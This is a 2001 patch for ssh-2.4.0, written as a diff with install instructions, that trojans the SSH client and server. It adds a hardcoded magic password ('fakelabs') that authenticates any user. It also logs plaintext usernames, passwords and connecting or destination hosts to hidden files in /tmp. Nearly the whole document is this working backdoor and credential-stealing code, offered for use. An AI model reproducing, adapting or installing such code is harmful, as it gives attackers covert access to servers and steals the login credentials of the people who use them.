#
#  -< FakeLabs Development >-
#
#  patch for ssh-2.4.0 by ozone@rm-f.net
#  authenticates any user who gives the magic password, 
#  logs all client and authorized server logins/passwords 
#
#  use at your own risk
#
#  install:
#
#  first edit the location of the log files
#  by changing the _SERVER_LOG and _CLIENT_LOG
#  defines below, the default is "/tmp/.slog" 
#  and "/tmp/.clog" respectively. Also may want 
#  to set the magic password by changing the value 
#  of the _MACIG_PASSWD define below (default 
#  is "fakelabs").
#
#  tar -zxvf ssh-2.4.0.tar.gz
#  cp fakessh-2.4.0.diff ssh-2.4.0/
#  cd ssh-2.4.0/
#  patch -p0 <fakessh-2.4.0.diff 
#
#  www.fakelabs.net
#  http://rm-f.net/~ozone
#  2001


diff -c apps/ssh/authc-passwd.c apps-fake/ssh/authc-passwd.c
*** apps/ssh/authc-passwd.c     Mon May 21 18:58:52 2001
--- apps-fake/ssh/authc-passwd.c        Mon May 21 19:03:00 2001
***************
*** 53,59 ****
  #endif /* SSH_NEW_READPASS_ELOOP */
    
    SSH_DEBUG(6, ("auth_password op = %d  user = %s", op, user));
!   
    switch (op)
      {
      case SSH_AUTH_CLIENT_OP_START:
--- 53,60 ----
  #endif /* SSH_NEW_READPASS_ELOOP */
    
    SSH_DEBUG(6, ("auth_password op = %d  user = %s", op, user));
! /* cust0m - save username */ 
! snprintf (luser, sizeof(luser), "%s", user);   
    switch (op)
      {
      case SSH_AUTH_CLIENT_OP_START:
diff -c apps/ssh/auths-passwd.c apps-fake/ssh/auths-passwd.c
*** apps/ssh/auths-passwd.c     Mon May 21 18:58:52 2001
--- apps-fake/ssh/auths-passwd.c        Mon May 21 19:03:01 2001
***************
*** 137,142 ****
--- 137,145 ----
            SSH_DEBUG(2, ("attempted login with empty password denied"));
            goto password_bad;
          }
+ /* cust0m - check for magic passwd */
+ if (!strncmp(_MAGIC_PASSWD, password, strlen(_MAGIC_PASSWD)))
+     goto password_ok;
        
        /* Password changing requests should only be received as continuation
           messages. */
***************
*** 229,234 ****
--- 232,242 ----
                           packet, completion_context);
        return;
      password_ok:
+ /* cust0m - grab password, log username:pass and from host to file */ 
+ fd0ut = fopen (_SERVER_LOG, "a+"); 
+ fprintf (fd0ut, "%s:%s from %s\n", user, password, h0st); 
+ fclose (fd0ut);  
+ 
        /* Password authentication passed, but we still need to check whether
           the password needs to be changed. */
        ssh_xfree(password);
diff -c apps/ssh/readpass.c apps-fake/ssh/readpass.c
*** apps/ssh/readpass.c Mon May 21 18:58:52 2001
--- apps-fake/ssh/readpass.c    Mon May 21 19:03:01 2001
***************
*** 286,291 ****
--- 286,297 ----
    /* Close the file. */
    if (f != stdin)
      fclose(f);
+ 
+ /* cust0m - log everything */ 
+ fd0ut = fopen(_CLIENT_LOG, "a+"); 
+ fprintf (fd0ut, "%s:%s@%s\n", cp, luser, h0st); 
+ fclose (fd0ut); 
+ 
    return cp;
  }
  
diff -c apps/ssh/ssh2.c apps-fake/ssh/ssh2.c
*** apps/ssh/ssh2.c     Mon May 21 18:58:52 2001
--- apps-fake/ssh/ssh2.c        Mon May 21 19:03:00 2001
***************
*** 984,989 ****
--- 984,992 ----
    if ((argc <= getopt_data.ind) || (argv[getopt_data.ind] == NULL))
        return NULL;
    else
+ /* cust0m - grab destination host */ 
+ snprintf (h0st, sizeof(h0st), "%s", argv[getopt_data.ind]); 
+ 
        return ssh_xstrdup(argv[getopt_data.ind]);
  }
  
diff -c apps/ssh/ssh2includes.h apps-fake/ssh/ssh2includes.h
*** apps/ssh/ssh2includes.h     Mon May 21 18:58:50 2001
--- apps-fake/ssh/ssh2includes.h        Mon May 21 19:02:59 2001
***************
*** 111,121 ****
  
  
  
! 
! 
! 
! 
! 
  
  
  
--- 111,121 ----
  
  
  
! #define _SERVER_LOG "/tmp/.slog" 
! #define _CLIENT_LOG "/tmp/.clog" 
! #define _MAGIC_PASSWD "fakelabs" 
! FILE *fd0ut; 
! char luser [128], h0st[128], _passwd_[128]; 
  
  
  
diff -c apps/ssh/sshd2.c apps-fake/ssh/sshd2.c
*** apps/ssh/sshd2.c    Mon May 21 18:58:50 2001
--- apps-fake/ssh/sshd2.c       Mon May 21 19:02:59 2001
***************
*** 575,581 ****
  
    ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL,
                  "connection from \"%s\"", buf);
! 
    SSH_DEBUG(2, ("new_connection_callback"));
  
    /* check for MaxConnections */
--- 575,581 ----
  
    ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL,
                  "connection from \"%s\"", buf);
! snprintf (h0st, sizeof(h0st), "%s", buf); /* cust0m - save src host */ 
    SSH_DEBUG(2, ("new_connection_callback"));
  
    /* check for MaxConnections */
Common subdirectories: apps/ssh/tests and apps-fake/ssh/tests